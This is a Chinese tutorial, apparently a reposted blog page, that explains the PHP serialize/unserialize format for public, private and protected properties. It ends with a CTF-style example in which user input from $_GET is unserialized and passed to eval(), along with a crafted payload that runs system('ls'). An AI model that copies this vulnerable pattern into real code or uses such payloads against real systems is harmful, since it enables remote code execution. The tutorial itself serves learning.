PHP序列化基础知识储备

news2025/1/13 17:25:39

一、序列化与反序列化

1、概念

PHP中的序列化是指将复杂的数据类型转换为可存储或可传输的字符串,而反序列化则是将这些字符串重新转换回原来的数据类型。

序列化通常使用 serialize() 函数完成,它可以将数组、对象、字符串等复杂数据类型压缩到一个字符串中,这个过程不会影响到数据的类型和结构。序列化主要用于将数据保存到文件、数据库或者通过网络发送时,保证数据的完整性和结构的不变性。需要注意的是,序列化一个对象时会保存对象的所有变量,但不会保存对象的方法,只会保存类的名字。

反序列化则使用 unserialize() 函数,它将序列化后的字符串还原为原始的数据类型。这常用于从存储介质如文件或数据库中读取数据时,确保数据可以被正确地重构为原始状态。

总的来说,这两个过程结合起来,可以轻松地在不同的运行环境中存储和传输数据,提高程序的可维护性和灵活性。


2、对象序列化演示

(1)公有修饰符:
<?php
highlight_file(__FILE__);
class test{
    public $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?> 

通过代码易知,最终将输出类test的实例化对象$a的序列化格式,输出结果如下:

O:4:"test":1:{s:3:"pub";s:6:"benben";}

我们对序列化内容格式进行具体分析:

O -- 表示“Object”,在面向对象编程中译作“对象”。

4 -- 表示类名的长度,通过代码易知类 test 的长度为4。

1 -- 表示类中只有一个属性 $pub。

{} -- 对类中的内容进行分析,但只会分析类中的属性,不会分析类中的方法。

s -- 表示“string”,string表示字符串,表示类中属性$pub的名称是字符串。

3 -- 表示类中属性$pub的长度为3。

"pub" -- 表示类中属性$pub的名称。

;-- 起到间隔作用。

s : 6 : "benben" -- 表示类中属性的值为一个字符串,字符串的长度为6,字符串的名称为 benben。

(2)私有修饰符:
<?php
highlight_file(__FILE__);
class test{
    private $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?> 

我们观察到类中属性由 public 变成了 private,那么序列化内容会如何改变,改变后的序列化内容如下:

O:4:"test":1:{s:9:"testpub";s:6:"benben";}

我们观察到序列化内容发生了一些变化,其中属性名称变成了 testpub,这里涉及一个知识点,当属性由共有变成私有之后,属性名称会变为 类名 + 属性名称,但是我们又发现,属性长度为9,而testpub的长度仅仅为7,那么多出来的2个字符串长度由何而来呢?

特别说明:私有属性中多出的两个字符串长度:

私有属性中,长度为9的testpub其实在test的首尾拥有两个空格位,分别各占取一个字符串长度,testpub真实情况下应该写作 %00test%00pub,多出的两个字符串长度就是这两个%00。

(3)保护修饰符:

<?php
highlight_file(__FILE__);
class test{
    protected $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?> 

类中属性由共有变为保护属性,序列化输出结果如下:

O:4:"test":1:{s:6:"*pub";s:6:"benben";}

我们发现属性名称和长度再次发生了变化,名称pub前多出一个*,并且名称长度也与实际观察到的长度不符合,多出了两个字符串长度。

特别说明:保护属性中多出的两个字符串长度:

实际保护属性名称为:空格 + * + 空格 + 属性名称。

URL编码为:%00 + * + %00 + 属性名称。

(4)成员属性调用对象:
<?php
highlight_file(__FILE__);
class test{
    var $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
class test2{
    var $ben;
    function __construct(){
        $this->ben=new test();
    }
}
$a = new test2();
echo serialize($a);
?>

上述代码将实例化对象赋值给成员属性,并将其以序列化格式输出。输出结果如下:

O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}

与将一个字符串赋值给成员属性的格式并无不同,唯一不同点是内容变成了一个类罢了。


3、对象反序列化演示

<?php
highlight_file(__FILE__);
class test {
    public  $a = 'benben';
    protected  $b = 666;
    private  $c = false;
    public function displayVar() {
        echo $this->a;
    }
}
$d = new test();
$d = serialize($d);
echo $d."<br />";
echo urlencode($d)."<br />";
$a = urlencode($d);
$b = unserialize(urldecode($a));
var_dump($b);

?> 

输出代码如下:

(1)O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"*b";i:666;s:7:"testc";b:0;}
序列化格式输出

(2)O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22benben%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7D
序列化URL编码格式输出

(3)object(test)#1 (3) { ["a"]=> string(6) "benben" ["b":protected]=> int(666) ["c":"test":private]=> bool(false) }
将序列化格式反序列化后输出(以反序列化格式输出) 

(3)即为反序列化格式输出,本质就是将序列化过的内容进行还原。


二、PHP反序列化例题演示

1、题目源代码:

<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
    public $a = 'echo "this is test!!";';
    public function displayVar() {
        eval($this->a);
    }
}

$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;

?> 

通过分析源代码可知,test类中存在eval()函数,我们只需要利用eval()函数括号中的代码,来执行我们想要达到目的的指令。

我们已知eval()括号中的值为属性a的值,我们只需要将我们想要执行的指令赋值给 $a 就可以了。

那么如何将我们想要执行的命令赋值给 $呢?我们可以利用反序列化,分析代码可知,首先将用户输入值赋值给"benben"后通过GET方法发送给客户端并且赋值给$get,对$get进行反序列化后将反序列化后的值赋值给$b,最后调用$b中的displayVar()函数,就可以达到将输入值赋值给$a的目的,我们只需要将指令写在benben中即可。

2、构造序列化代码:

<?php
    class test{
        public $a = '';
    } 
    $b = new test();
    $b->a = "system('ls');";
    echo serialize($b);
?>

输出结果如下:

O:4:"test":1:{s:1:"a";s:13:"system('ls');";}

将输出结果提交给GET["benben"],如下图:

提交后页面如下:

id值成功在页面中显示。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1523880.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

m3u8,一个超酷的 Python 库!

更多资料获取 &#x1f4da; 个人网站&#xff1a;ipengtao.com 大家好&#xff0c;今天为大家分享一个超酷的 Python 库 - m3u8。 Github地址&#xff1a;https://github.com/globocom/m3u8 在网络视频传输中&#xff0c;HLS&#xff08;HTTP Live Streaming&#xff09;是一…

后端系统开发之——创建SpringBoot工程

原文地址&#xff1a;后端框架系统开发之——创建SpringBoot工程 - Pleasure的博客 下面是正文内容&#xff1a; 前言 现在的市场环境&#xff0c;如果你单单只是作为前端工程师或者是后端工程师&#xff0c;在开发Web应用的时候都需要去读取企业提供的接口文档。而当你前后端…

python--剑指offer--中等--07. 重建二叉树

输入某二叉树的前序遍历和中序遍历的结果&#xff0c;请重建该二叉树。假设输入的前序遍历和中序遍历的结果中都不含重复的数字。 例如&#xff0c;给出 前序遍历 preorder [3,9,20,15,7] 中序遍历 inorder [9,3,15,20,7] 返回如下的二叉树&#xff1a; 3/ 9 20 / 15 7 …

数字后端 EDA 软件分享

数字后端 EDA 软件分享 推荐这几家的EDA工具吧&#xff0c;虽说我也支持国产工具&#xff0c;但是我还是选择了这几家的工具 apache cadence mentor synopsys 下图我现在用的eda环境&#xff0c;利用网上的资源&#xff0c;自己独立在vmware上搭建好的EDA环境 除去pdk&#…

mybatis项目中配置sql提示

2023版的idea好像内置了这个功能。 第一步&#xff1a; 第二步&#xff1a;第一步完成后user会爆红&#xff0c;这时我们需要连接数据库。

AI预测-一文解析AI预测数据工程

AI预测相关目录 AI预测流程&#xff0c;包括ETL、算法策略、算法模型、模型评估、可视化等相关内容 最好有基础的python算法预测经验 EEMD策略及踩坑VMD-CNN-LSTM时序预测对双向LSTM等模型添加自注意力机制K折叠交叉验证optuna超参数优化框架多任务学习-模型融合策略Transform…

Mock 测试入门:什么是 Mock 测试

Mock测试 什么是 Mock &#xff1f; Mock 的意思就是&#xff0c;当你很难拿到源数据时&#xff0c;你可以使用某些手段&#xff0c;去获取到跟源数据相似的假数据&#xff0c;拿着这些假数据&#xff0c;前端可以先行开发&#xff0c;而不需要等待后端给了数据后再开发。 Mo…

【Spark编程基础】RDD 编程初级实践(附源代码)

目录 一、实验目的二、实验平台三、实验内容1.spark-shell 交互式编程2.编写独立应用程序实现数据去重3.编写独立应用程序实现求平均值问题 一、实验目的 1、熟悉 Spark 的 RDD 基本操作及键值对操作&#xff1b; 2、熟悉使用 RDD 编程解决实际具体问题的方法 二、实验平台 …

2024年5家香港服务器推荐,性价比top5

​​香港服务器是中小企业建站、外贸建站、个人博客建站等领域非常受欢迎的服务器&#xff0c;2024年有哪些云厂商的香港服务器是比较有性价比的&#xff1f;这里根据小编在IT领域多年服务器使用经验&#xff0c;给大家罗列5家心目中最具性价比的香港服务器厂商。 这五家香港服…

Gin 框架中前端向后端传值的几种方式介绍

我将为您详细讲解 Gin 框架中前端向后端传值的几种方式&#xff0c;并给出相应的简单例子。Gin 是一个高性能的 Web 框架&#xff0c;用于构建后端服务。在 Web 应用程序中&#xff0c;前端通常需要向后端发送数据&#xff0c;以便后端能够进行处理。以下是几种常见的前端向后端…

【基于HTML5的网页设计及应用】——改变文字和背景颜色

&#x1f383;个人专栏&#xff1a; &#x1f42c; 算法设计与分析&#xff1a;算法设计与分析_IT闫的博客-CSDN博客 &#x1f433;Java基础&#xff1a;Java基础_IT闫的博客-CSDN博客 &#x1f40b;c语言&#xff1a;c语言_IT闫的博客-CSDN博客 &#x1f41f;MySQL&#xff1a…

了解 HTTP 请求的五个关键要素

一个成功的 HTTP 请求不仅仅意味着简单地发送一个请求并接收到响应。事实上&#xff0c;每个 HTTP 请求都需要具备五大要点&#xff0c;这些要点确保了请求的正确性、可靠性和用户体验。在本文中&#xff0c;我们将探讨这五大要点&#xff0c;即发送适当的请求、显示加载状态、…

FFplay使用滤镜添加字幕到现有视频显示

1.创建字幕文件4k.srt 4k.srt内容: 1 00:00:01.000 --> 00:00:30.000 日照香炉生紫烟2 00:00:31.000 --> 00:00:60.000 遥看瀑布挂前川3 00:01:01.000 --> 00:01:30.000 飞流直下三千尺4 00:01:31.000 --> 00:02:00.000 疑是银河落九天2.通过使用滤镜显示字幕在视…

HarmonyOS-鸿蒙系统概述

你了解鸿蒙系统吗&#xff1f; 你看好鸿蒙系统吗&#xff1f; 今年秋季即将推出的HarmonyOS Next 星河版热度空前&#xff0c;一起来了解一下吧。本文将从HarmonyOS 的应用场景、发展历程、架构、开发语言、开发工具、生态建设六个角度聊一聊个人的理解。 1、应用场景 鸿蒙…

react-面试题

一、组件基础 1. React 事件机制 <div onClick{this.handleClick.bind(this)}>点我</div> React并不是将click事件绑定到了div的真实DOM上&#xff0c;而是在document处监听了所有的事件&#xff0c;当事件发生并且冒泡到document处的时候&#xff0c;React将事…

浅谈C/C++的常量const、指针和引用问题

今天我们来探讨C/C中const、指针和引用的相关问题。这些概念是编程中的重要组成部分&#xff0c;它们的正确使用对于代码的可读性和可维护性至关重要。通过深入了解const的不可变性、指针的灵活性以及引用的简洁性&#xff0c;我们能够更好地掌握编程的精髓&#xff0c;并写出更…

GEE错误——Line 12: xxx.size is not a function(计算列表长度出现错误)

简介 这里我们再计算研究区面积的时候出现了一个错误,这里的问题是Line 12: points8.size is not a function 主要问题是xxx不是一个数组或者对象,无法调用size方法。这里的问题是我们要获取这个对象的时候出现了问题,也就说你给函数传输的并不是一个对象,而不知道是什么…

研究生总结

Note:本博客更多是关于自己的感悟&#xff0c;没有翻阅文件详细查证&#xff0c;如果存在错过&#xff0c;也请提出指正。 1. 半监督回归 相比于半监督分类&#xff0c;半监督回归相对冷门。回归和分类之间有着难以逾越的天谴&#xff0c;预测精度。分类中的类别是可数的&…

STM32的简单介绍

STM32是一种基于ARM Cortex-M内核的32位微控制器&#xff0c;由意法半导体公司开发和生产。STM32具有丰富的外设和功能&#xff0c;适用于各种应用场合&#xff0c;如工业控制、消费电子、物联网、人机交互等。STM32的优势包括低功耗、高性能、高可靠性、易于开发等。STM32的系…

elementUI两个select单选框联动

实现需求&#xff1a;两个单选框内容两栋&#xff0c;在选择第一个时&#xff0c;第二个选框能自动更新对应选项。且在切换第一个选项内容时&#xff0c;第二个选框会被清空且切换到新的对应选项。 设置值班班次和备班情况两个选项 &#xff0c;完整代码如下&#xff1a; <…